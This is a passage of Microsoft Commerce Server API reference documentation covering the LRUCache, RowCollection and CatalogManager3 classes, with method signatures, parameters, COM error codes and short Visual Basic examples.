CacheManager Class

LRUCache Class


LRUCache.FlushAll Method (PIA)

Use this method to remove all elements from the cache.

Definition

[Visual Basic .NET]
Import Microsoft.CommerceServer.Interop.Caching
…
Public Sub FlushAll()
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public void FlushAll();

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

CacheManager Class

LRUCache Class


LRUCache.Insert Method (PIA)

Use this method to add an element to the cache.

Definition

[Visual Basic .NET]
Import Microsoft.CommerceServer.Interop.Caching
…
Public Sub Insert(
  bstrKey As String,
  ByRef pvarValue As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public void Insert(
  string bstrKey,
  ref object pvarValue
);

Parameters

[Visual Basic .NET]
bstrKey
A String that contains the name of the element to be added to the cache.
pvarValue
An Object that contains the value of the element.
[C#]
bstrKey
A string that contains the name of the element to be added to the cache.
pvarValue
An object that contains the value of the element.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

'oManAd is an Object that references an ad.
oLRUCache.Insert("ManufacturerAd", oManAd)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

CacheManager Class

LRUCache Class


LRUCache.Lookup Method (PIA)

Use this method to retrieve the value of an element from the cache.

Definition

[Visual Basic .NET]
Import Microsoft.CommerceServer.Interop.Caching
…
Public Function Lookup(
  bstrKey As String
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public object Lookup(
  string bstrKey
);

Parameters

[Visual Basic .NET]
bstrKey
A String that contains the name of the element to be retrieved.
[C#]
bstrKey
A string that contains the name of the element to be retrieved.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains the value of the specified element.

[C#] This method returns an object containing the element value.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

[Visual Basic .NET]

Example

' oFavAd is an Object
oFavAd = myLRUCache.Lookup("Favorite Ad")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

CacheManager Class

LRUCache Class


LRUCache.LookupObject Method (PIA)

Use this method to retrieve an object from the cache.

Definition

[Visual Basic .NET]
Import Microsoft.CommerceServer.Interop.Caching
…
Public Function LookupObject(
  bstrKey As String
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public object LookupObject(
  string bstrKey
);

Parameters

[Visual Basic .NET]
bstrKey
A String that contains the name of the object to be retrieved.
[C#]
bstrKey
A string that contains the name of the object to be retrieved.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object.

[C#] This method returns an object containing the retrieved information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

Set oMyObject = oLRUCache.LookupObject("My Object")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

CacheManager Class

LRUCache Class


LRUCache.SetSize Method (PIA)

Use this method to set the maximum size of the cache.

Definition

[Visual Basic .NET]
Import Microsoft.CommerceServer.Interop.Caching
…
Public Sub SetSize(
  lSize As Integer
)
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public void SetSize(
  int lSize
);

Parameters

[Visual Basic .NET]
lSize
An Integer that specifies the size of the cache.
[C#]
lSize
An int that specifies the size of the cache.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

CacheManager Class

LRUCache Class


RowCollection Class (PIA)

Use this object to access data contained in a ContentList object and its corresponding ContentListFactory object. Some RowCollection objects allow access to all of the rows in these objects. Other RowCollection objects allow access to a calculated subset of the rows in these objects.

This object supports the IEnumerable interface. Use the GetEnumerator method on this interface to iterate through the collection.

Methods

Method | Description
GetEnumerator | Returns an enumerator for RowCollection objects.
MoveFirst | Sets the first row in the RowCollection object to be the current row.
MoveNext | Sets the row after the current row in the RowCollection object to be the new current row.

Properties

Property | Type | Description
Count | Integer | Stores the number of rows in the RowCollection object. This property is read-only.
EOF | Boolean | Contains a Boolean that returns True when the end of the collection has been reached. This property is read-only.
Fields | ADODB26Lib.Fields | Contains the Fields collection object for the current row. This property is read-only.
RowNum | Integer | Stores the position of the current row, starting from zero (0). This property is read-only.

Remarks

[Visual Basic .NET]

The RowCollection object is a dependent object. Obtain a reference to it by using the following properties and methods:

  • ContentList.ActiveRows
  • ContentList.AllRows
  • ContentList.Search
  • ContentListFactory.AllRows
  • ContentListFactory.Search
[C#]

The RowCollection object is a dependent object. Obtain a reference to an object that implements the IRowCollection interface by calling one of the following methods/properties:

  • ContentList.ActiveRows
  • ContentList.AllRows
  • ContentList.Search
  • ContentListFactory.AllRows
  • ContentListFactory.Search

Note that the above methods return an IRowCollection interface that will need to be cast to a RowCollection object, as follows:

RowCollection rc = (RowCollection)ContentList.ActiveRows;

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)


RowCollection Methods (PIA)

Methods

Method | Description
GetEnumerator | Returns an enumerator for RowCollection objects.
MoveFirst | Sets the first row in the RowCollection object to be the current row.
MoveNext | Sets the row after the current row in the RowCollection object to be the new current row.


RowCollection.GetEnumerator Method (PIA)

Use this method to retrieve an enumerator for the RowCollection object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Function GetEnumerator () As IEnumerator
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public IEnumerator GetEnumerator ();

Return Values

If successful, GetEnumerator returns an IEnumerator object describing a set of RowCollection objects.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

RowCollection Class


RowCollection.MoveFirst Method (PIA)

Use this method to set the current row to be the first row in a RowCollection object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Sub MoveFirst()
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public void MoveFirst();

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

'myRowCollection is a RowCollection object.
myRowCollection.MoveFirst()

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

RowCollection Class


RowCollection.MoveNext Method (PIA)

Use this method to set the current row to be the row that is one row beyond the current row. In other words, the next row in the collection.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Sub MoveNext()
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public void MoveNext();

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

'myRowCollection is a RowCollection object.
myRowCollection.MoveNext()

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

RowCollection Class


RowCollection Properties (PIA)

Properties

Property | Type | Description
Count | Integer | Stores the number of rows in the RowCollection object. This property is read-only.
EOF | Boolean | Contains a Boolean that returns True when the end of the collection has been reached. This property is read-only.
Fields | ADODB26Lib.Fields | Contains the Fields collection object for the current row. This property is read-only.
RowNum | Integer | Stores the position of the current row, starting from zero (0). This property is read-only.


RowCollection.Count Property (PIA)

The Count property is a read-only Integer that contains the number of rows in the collection.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public ReadOnly Property Count As Integer
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public int Count {get; }

Property Value

This property returns an int containing the number of rows in the RowCollection object.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

RowCollection Class


RowCollection.EOF Property (PIA)

The EOF property is a read-only Boolean that returns True when the end of the collection has been reached.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public ReadOnly Property EOF As Boolean
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public bool EOF {get; }

Property Value

This property returns a bool containing an indication of whether row iteration is complete.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll )

See Also

RowCollection Class


RowCollection.Fields Property (PIA)

The Fields property is a read-only Fields collection object that contains the Field objects for the current row.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
Improts ADODB26Lib     ‘ for Fields
…
Public ReadOnly Property Fields As Fields
[C#]
using Microsoft.CommerceServer.Interop.Caching;
using ADODB26Lib;                              //For Fields
…
public Fields Fields {get; }
[C#]

Return Values

This property returns an ADODB26Lib.Fields collection.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Fields object associated with this property corresponds to the current row in the RowCollection object. When the EOF property is True, indicating that the current row is set beyond the actual rows in the collection, accessing this property will result in an error.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

RowCollection Class


RowCollection.RowNum Property (PIA)

The RowNum property is a read-only number that contains the position of the current row within the RowCollection object. Row positions begin at zero (0), not one (1).

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public ReadOnly Property RowNum As Integer
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public int RowNum {get; }
[C#]

Return Values

This property returns an int containing the position of the current row in the RowCollection object. Row positions begin at zero (0), not one (1).

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The value of this property corresponds to the current row in the RowCollection object. When the EOF property is True, indicating that the current row is set beyond the actual rows in the collection, accessing this property will result in an error.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

RowCollection Class


Microsoft.CommerceServer.Interop.Catalog

The following table lists and describes the classes contained in the Microsoft.CommerceServer.Interop.Catalog namespace.

Class | Description
CatalogManager3 | Allows management of catalogs across the entire Product Catalog System.
CatalogSets | Works with catalog sets in the Product Catalog System.
CatalogSets2 | Works with catalog sets in the Product Catalog System.
CatalogToVendorAssociation | Allows a catalog to be associated with particular vendor.
Category | Allows management of a product hierarchy within a particular catalog.
DataFunctions | Performs locale-based formatting, parsing, and value range checking in a site.
Product3 | Allows manipulation of the relationships between a product variant and a product category.
ProductCatalog3 | Allows creation, deletion, and modification of catalog data.


CatalogManager3 Class (PIA)

Use this object to work with the entire Product Catalog System. The methods and properties of this object interact with all catalogs contained in the Product Catalog System.

Methods

Method | Description
AddCatalogAttribute | Adds an attribute to a catalog.
AddDefinitionProperty | Adds a property to a definition.
AddDefinitionVariantProperty | Adds a variant property to a definition.
AddPropertyAttribute | Adds an attribute to a property.
AddPropertyValue | Adds a value to the list of defined values for this property. Only applies to enumerations.
CreateCatalog | Creates a new catalog.
CreateCategoryDefinition | Creates a new category definition.
CreateProductDefinition | Creates a new product definition.
CreateProperty | Creates a new property.
DeleteCatalog | Deletes a catalog.
DeleteDefinition | Deletes a product or category definition.
DeleteProperty | Deletes a property.
DeltaExportXML | Use this method to export updated catalog data to an Extensible Markup Language (XML) file.
ExportCSV | Exports catalog data as a comma-separated values (CSV) format file.
ExportXML | Exports catalog data as an Extensible Markup Language (XML) format file.
FreeTextSearch | Performs a free-text search of catalogs.
GetAttributes | Returns the catalog or property attributes in the Product Catalog System.
GetCatalog | Returns the specified catalog object.
GetDefinitionProperties | Returns the properties of a specified product or category definition.
GetPropertyAttributes | Returns all the attributes of a specified property.
GetPropertyValues | Returns a list of appropriate values for an enumeration property.
ImportCSV | Imports a comma-separated values (CSV) format file as catalog data.
ImportXML | Imports an XML format file as catalog data.
Initialize | Initializes the CatalogManager object.
Query | Performs queries against product, variant, and category data in one or more catalogs.
RebuildAllVirtualCatalogs | Rebuilds all virtual catalogs.
RemoveCatalogAttribute | Removes the specified attribute from a catalog.
RemoveDefinitionProperty | Removes the specified property or variant property from a definition.
RemovePropertyAttribute | Removes the specified attribute from a property.
RemovePropertyValue | Removes a defined value from an enumeration property.
RenameDefinition | Renames a definition.
RenameProperty | Renames a property.
Search | Performs language-specific searches in one or more catalogs.
SetDefinitionProperties | Use this method to change the properties of a category or product definition.
SetJoinTable | Joins an external table to a table in the Product Catalog System.
SetPropertyAttributes | Changes the attributes of a property.
ValidateXML | Validates an XML-formatted file against the catalog definition.

Properties

Property | Type | Description
Catalogs | ADODB26Lib._Recordset | Stores a recordset containing a record for each catalog contained in the Product Catalog System, including their properties. This property is read-only.
CategoryDefinitions | ADODB26Lib._Recordset | Stores a recordset containing the names of all of the category definitions that currently exist in the Product Catalog System. This property is read-only.
CustomCatalogs | ADODB26Lib._Recordset | This property is obsolete.
ProductDefinitions | ADODB26Lib._Recordset | Stores a recordset containing the names of all the product definitions that currently exist in the Product Catalog System. This property is read-only.
Properties | ADODB26Lib._Recordset | Stores a recordset containing the name of each property that currently exists in the Product Catalog System. This property is read-only.

Remarks

Some methods of the CatalogManager object cannot be called in a transacted object. They are the CreateCatalog, DeleteCatalog, GenerateCustomCatalog, ImportCSV, ImportXML, and RegenerateFreeTextSearchIndex methods. These methods involve the creation, deletion, or updating of free text indexes. SQL Server does not allow these operations in a transaction.

Binding to the CatalogManager in a COM+ component that has either the Required or Requires New property set generates a run-time error.

Many CatalogManager objects use the PropertyAttribute recordset to record property definitions found in the CatalogAttributes table. For more information, see PropertyAttribute Recordset.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)


CatalogManager3 Methods (PIA)

Methods

Method | Description
AddCatalogAttribute | Adds an attribute to a catalog.
AddDefinitionProperty | Adds a property to a definition.
AddDefinitionVariantProperty | Adds a variant property to a definition.
AddPropertyAttribute | Adds an attribute to a property.
AddPropertyValue | Adds a value to the list of defined values for this property. Only applies to enumerations.
CreateCatalog | Creates a new catalog.
CreateCategoryDefinition | Creates a new category definition.
CreateProductDefinition | Creates a new product definition.
CreateProperty | Creates a new property.
DeleteCatalog | Deletes a catalog.
DeleteDefinition | Deletes a product or category definition.
DeleteProperty | Deletes a property.
DeltaExportXML | Use this method to export updated catalog data to an Extensible Markup Language (XML) file.
ExportCSV | Exports catalog data as a comma-separated values (CVS) format file.
ExportXML | Exports catalog data as an Extensible Markup Language (XML) format file.
FreeTextSearch | Performs a free-text search of catalogs.
GetAttributes | Returns the catalog or property attributes in the Product Catalog System.
GetCatalog | Returns the specified catalog object.
GetDefinitionProperties | Returns the properties of a specified product or category definition.
GetPropertyAttributes | Returns all the attributes of a specified property.
GetPropertyValues | Returns a list of appropriate values for an enumeration property.
ImportCSV | Imports a comma-separated values (CVS) format file as catalog data.
ImportXML | Imports an XML format file as catalog data.
Initialize | Initializes the CatalogManager object.
Query | Performs queries against product, variant, and category data in one or more catalogs.
RebuildAllVirtualCatalogs | Rebuilds all virtual catalogs.
RemoveCatalogAttribute | Removes the specified attribute from a catalog.
RemoveDefinitionProperty | Removes the specified property or variant property from a definition.
RemovePropertyAttribute | Removes the specified attribute from a property.
RemovePropertyValue | Removes a defined value from an enumeration property.
RenameDefinition | Renames a definition.
RenameProperty | Renames a property.
Search | Performs language-specific searches in one or more catalogs.
SetDefinitionProperties | Use this method to change the properties of a category or product definition.
SetJoinTable | Joins an external table to a table in the Product Catalog System.
SetPropertyAttributes | Changes the attributes of a property.
ValidateXML | Validates an XML-formatted file against the catalog definition.


CatalogManager3.AddCatalogAttribute Method (PIA)

Use this method to add an attribute to a Catalog object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub AddCatalogAttribute(
  strAttributeName As String,
  eDataType  As CatalogDataTypeEnum,
  Optional varMaxLength As Object,
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void AddDefinitionProperty(
  string strAttributeName,
  CatalogTypeEnum eDataType,
  Object varMaxLength,
);

Parameters

[Visual Basic .NET]
strAttributeName
A String that contains the attribute name. See the Remarks section for a list of restricted characters.
eDataType
An enumeration that contains the data type. See the Remarks section for valid values.
varMaxLength
A VARIANT that contains the maximum string length if the eDataType parameter is cscString. This parameter is required if the eDataType parameter is cscString.
[C#]
strAttributeName
A string that contains the attribute name. See the Remarks section for a list of restricted characters.
eDataType
An enumeration that contains the data type. See the Remarks section for valid values.
varMaxLength
An object that contains the maximum string length if the eDataType parameter is cscString. This parameter is required if the eDataType parameter is cscString.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B5 [Visual Basic .NET] &H889800B5 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_ATTRIBUTE | [C#] 0x88980117 [Visual Basic .NET] &H88980117 | The attribute name you specified is invalid. Attribute names cannot be blank and cannot exceed 36 characters. Attribute names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_INVALID_DATATYPE | [C#] 0x88980074 [Visual Basic .NET] &H88980074 | The datatype you specified is invalid.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_COLUMN_LENGTH | [C#] 0x88980040 [Visual Basic .NET] &H88980040 | The length specified for this property does not lie between 1 and 4000.
E_CAT_INVALID_DATATYPE_FOR_ATTRIBUTE | [C#] 0x889800A6 [Visual Basic .NET] &H889800A6 | The enumeration or filename data types cannot be used for creating property attributes
E_CAT_BUILTIN_CATALOG_ATTRIBUTE | [C#] 0x889800B0 [Visual Basic .NET] &H889800B0 | The catalog attribute that you specified is a built in catalog attribute and hence cannot be added or removed.
E_CAT_INVALID_DATATYPE | [C#] 0x88980074 [Visual Basic .NET] &H88980074 | The datatype you specified is invalid.
E_CAT_MAX_ATTRIBUTES | [C#] 0x88980118 [Visual Basic .NET] &H88980118 | You have exceeded the maximum limit of 100 attributes that can be created
E_CAT_CATALOG_ATTR_EXISTS | [C#] 0x88980110 [Visual Basic .NET] &H88980110 | The catalog attribute that you specified already exists.

Remarks

The varMaxLength parameter applies only when the eDataType parameter equals cscString. The minimum value is 1 and the maximum value is 4000. The varMaxLength parameter is ignored for all other data types.

Each catalog is limited to 100 attributes.

Catalog attribute names, and therefore the strAttributeName parameter, are limited to a maximum length of 35 characters and cannot contain any of the following characters:

  • Period (.)
  • Comma (,)
  • Double quote (")
  • Left square bracket ([)
  • Right square bracket (])

The following table shows the values of the CatalogDataTypeEnum enumeration that are valid for this method, and shows their associated names, and describes their use.

Name | Value | Description
cscInteger | 0 | Indicates an exact numeric value that holds whole numbers from –2[31] (-2,147,483,648) <= n <= 2[31] –1 (2,147,483,647).
cscBigInteger | 1 | Indicates an exact numeric value with precision 19 (if signed) or 20 (if unsigned), and scale 0 (signed: –2[63] <= n <= 2[63] – 1, unsigned: 0 <= n <= 2[64] – 1) [3], [9].
cscFloat | 2 | Indicates a positive or negative floating-point number. The range of positive values is approximately 2.23E –308 through 1.79E 308, and the range of negative values is approximately –2.23E –308 through –1.79E 308.
cscDouble | 3 | Indicates a positive or negative floating-point number. The range of positive values is approximately 2.23E –308 through 1.79E 308, and the range of negative values is approximately –2.23E –308 through –1.79E 308.
cscBoolean | 4 | Indicates a Boolean (bit), holds either a 1 or 0. Integer values other than 1 or 0 are accepted but are always interpreted as 1.
cscString | 5 | Indicates a variable-length character string with a maximum string length of 4000 characters.
cscDateTime | 6 | Indicates a Microsoft SQL Server DateTime data type.
cscCurrency | 7 | Indicates a Microsoft SQL Server Money data type.
cscText | 10 | Indicates a Microsoft SQL Server Text data type.
cscInvalid | -1 | Reserved for future use.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.


CatalogManager3.AddDefinitionProperty Method (PIA)

Use this method to add an existing property to an existing category or product definition.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub AddDefinitionProperty(
  strDefinitionName As String,
  strPropertyName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void AddDefinitionProperty(
  string strDefinitionName,
  string strPropertyName
);

Parameters

[Visual Basic .NET]
strDefinitionName
A String that contains the name of the definition to which the property will be added.
strPropertyName
A String that contains the name of the property.
[C#]
strDefinitionName
A string that contains the name of the definition to which the property will be added.
strPropertyName
A string that contains the name of the property.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_DEFINITION_LENGTH | [C#] 0x889800E [Visual Basic .NET] &H889800A | The definition name that you specified is invalid. Definition names should be between 1 and 128 characters in length.
E_CAT_INVALID_PROPERTY_NAME | [C#] 0x889800A [Visual Basic .NET] &H8898002 | The property name you specified is invalid. Property Names cannot be blank and cannot exceed 100 characters. Property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_DEFINITION_DOESNT_EXIST | [C#] 0x8898000 [Visual Basic .NET] &H889800B | The definition you specified does not exist.
E_CAT_PROP_DOESNT_EXIST | [C#] 0x8898000 [Visual Basic .NET] &H8898005 | The property name you specified does not exist.
E_CAT_PROP_IN_DEFINITION | [C#] 0x8898000 [Visual Basic .NET] &H889800D | The property you specified is already part of that definition.
E_CAT_ERROR_VARIANT_PROP | [C#] 0x889800A [Visual Basic .NET] &H8898003 | A variant property cannot be added to a Category definition.

Remarks

This method adds a property to a definition. Any products or categories created from the definition will also have the property. A property can only be added to a definition once. A property cannot be used in a product definition as both a property and a variant property.

[Visual Basic .NET]

Example

myCatalogManager.AddDefinitionProperty("Printers", "Manufacturer")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.AddDefinitionVariantProperty

CatalogManager3.RemoveDefinitionProperty


CatalogManager3.AddDefinitionVariantProperty Method (PIA)

Use this method to add a variant property to a definition. This method is similar to the AddDefinitionProperty method. The properties added with this method will only be used by product variants.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub AddDefinitionVariantProperty(
  strDefinitionName As String,
  strPropertyName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void AddDefinitionVariantProperty(
  string strDefinitionName,
  string strPropertyName
);

Parameters

[Visual Basic .NET]
strDefinitionName
A String that contains the name of the definition to which the specified variant property will be added.
strPropertyName
A String that contains the name of the property to be added to the specified definition.
[C#]
strDefinitionName
A string that contains the name of the definition to which the specified variant property will be added.
strPropertyName
A string that contains the name of the property to be added to the specified definition.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_DEFINITION_LENGTH | [C#] 0x889800E [Visual Basic .NET] &H889800A | The definition name that you specified is invalid. Definition names should be between 1 and 128 characters in length.
E_CAT_INVALID_PROPERTY_NAME | [C#] 0x889800A [Visual Basic .NET] &H8898002 | The property name you specified is invalid. Property names cannot be blank and cannot exceed 100 characters. Property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_DEFINITION_DOESNT_EXIST | [C#] 0x8898000 [Visual Basic .NET] &H889800B | The definition you specified does not exist.
E_CAT_PROP_DOESNT_EXIST | [C#] 0x8898000 [Visual Basic .NET] &H8898005 | The property name you specified does not exist.
E_CAT_PROP_IN_DEFINITION | [C#] 0x8898000 [Visual Basic .NET] &H889800D | The property you specified is already part of that definition.
E_CAT_ERROR_VARIANT_PROP | [C#] 0x889800A [Visual Basic .NET] &H8898003 | A variant property cannot be added to a category definition.

Remarks

This method adds a variant property to a definition. Any product variants created from the definition will also have the property. A property can be added to a definition only once. A property cannot be used in a product definition as both a property and a variant property.

[Visual Basic .NET]

Example

myCatalogManager.AddDefinitionVariantProperty("T-Shirts", "Size")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.AddDefinitionProperty

CatalogManager3.RemoveDefinitionProperty


CatalogManager3.AddPropertyAttribute Method (PIA)

Use this method to add a value to the list of defined values for the specified enumeration.

Definition

[Visual Basic .NET]
Public Sub AddPropertyAttribute Method(
  strAttributeName As String,
  eDataType  As CatalogDataTypeEnum,
  Optional varMaxLength As Object,
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void AddPropertyAttribute (
  string strAttributeName,
  CatalogTypeEnum eDataType,
  Object varMaxLength,
);

Parameters

[Visual Basic .NET]
strAttributeName
A String that contains the attribute name. See the Remarks section for a list of restricted characters.
eDataType
An enumeration that contains the data type. See the Remarks section for valid values.
varMaxLength
A VARIANT that contains the maximum string length if the eDataType parameter is cscString. This parameter is required if the eDataType parameter is cscString.
[C#]
strAttributeName
A String that contains the attribute name. See the Remarks section for a list of restricted characters.
eDataType
An enumeration that contains the data type. See the Remarks section for valid values.
varMaxLength
A VARIANT that contains the maximum string length if the eDataType parameter is cscString. This parameter is required if the eDataType parameter is cscString.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_ATTRIBUTE | [C#] 0x8898011 [Visual Basic .NET] &H8898017 | The attribute name you specified is invalid. Attribute names cannot be blank and cannot exceed 36 characters. Attribute names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_INVALID_DATATYPE | [C#] 0x8898007 [Visual Basic .NET] &H8898004 | The datatype you specified is invalid.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B [Visual Basic .NET] &H8898006 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_COLUMN_LENGTH | [C#] 0x8898004 [Visual Basic .NET] &H8898000 | The length specified for this property is not between 1 and 4000.
E_CAT_INVALID_DATATYPE_FOR_ATTRIBUTE | [C#] 0x889800A [Visual Basic .NET] &H8898006 | The enumeration or filename data types cannot be used for creating property attributes.
E_CAT_INBUILT_PROPERTY | [C#] 0x8898003 [Visual Basic .NET] &H889800E | The property name you specified is used as a Catalog Management Inbuilt property name.
E_CAT_BUILTIN_ATTRIBUTE | [C#] 0x889800A [Visual Basic .NET] &H8898007 | The property attribute that you specified is a built-in attribute and hence cannot be added or removed from the Product Catalog System.
E_CAT_INVALID_DATATYPE | [C#] 0x8898007 [Visual Basic .NET] &H8898004 | The datatype you specified is invalid.
E_CAT_INVALID_PROPERTY_NAME | [C#] 0x889800A [Visual Basic .NET] &H8898002 | The property name you specified is invalid. Property names cannot be blank and cannot exceed 100 characters. Property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_MAX_ATTRIBUTES | [C#] 0x8898011 [Visual Basic .NET] &H8898018 | You have exceeded the maximum limit of 100 attributes that can be created.
E_CAT_ATTRIBUTE_EXISTS | [C#] 0x8898010 [Visual Basic .NET] &H889801F | The property Attribute that you specified already exists.

Remarks

The varMaxLength parameter applies only when the eDataType parameter equals cscString. The minimum value is 1 and the maximum value is 4000. The varMaxLength parameter is ignored for all other data types.

Each catalog is limited to 100 attributes.

Property attribute names, and therefore the strAttrName parameter, are limited to a maximum length of 35 characters, and cannot contain any of the following characters:

  • Period (.)
  • Comma (,)
  • Double quote (")
  • Left square bracket ([)
  • Right square bracket (])

The following table shows the values of the CatalogDataTypeEnum enumeration that are valid for this method, and shows their associated names, and describes their use.

Name | Value | Description
CscInteger | 0 | Indicates an exact numeric value that holds whole numbers from –2[31] (-2,147,483,648) <= n <= 2[31] –1 (2,147,483,647).
CscBigInteger | 1 | Indicates an exact numeric value with precision 19 (if signed) or 20 (if unsigned), and scale 0 (signed: –2[63] <= n <= 2[63] – 1, unsigned: 0 <= n <= 2[64] – 1) [3], [9].
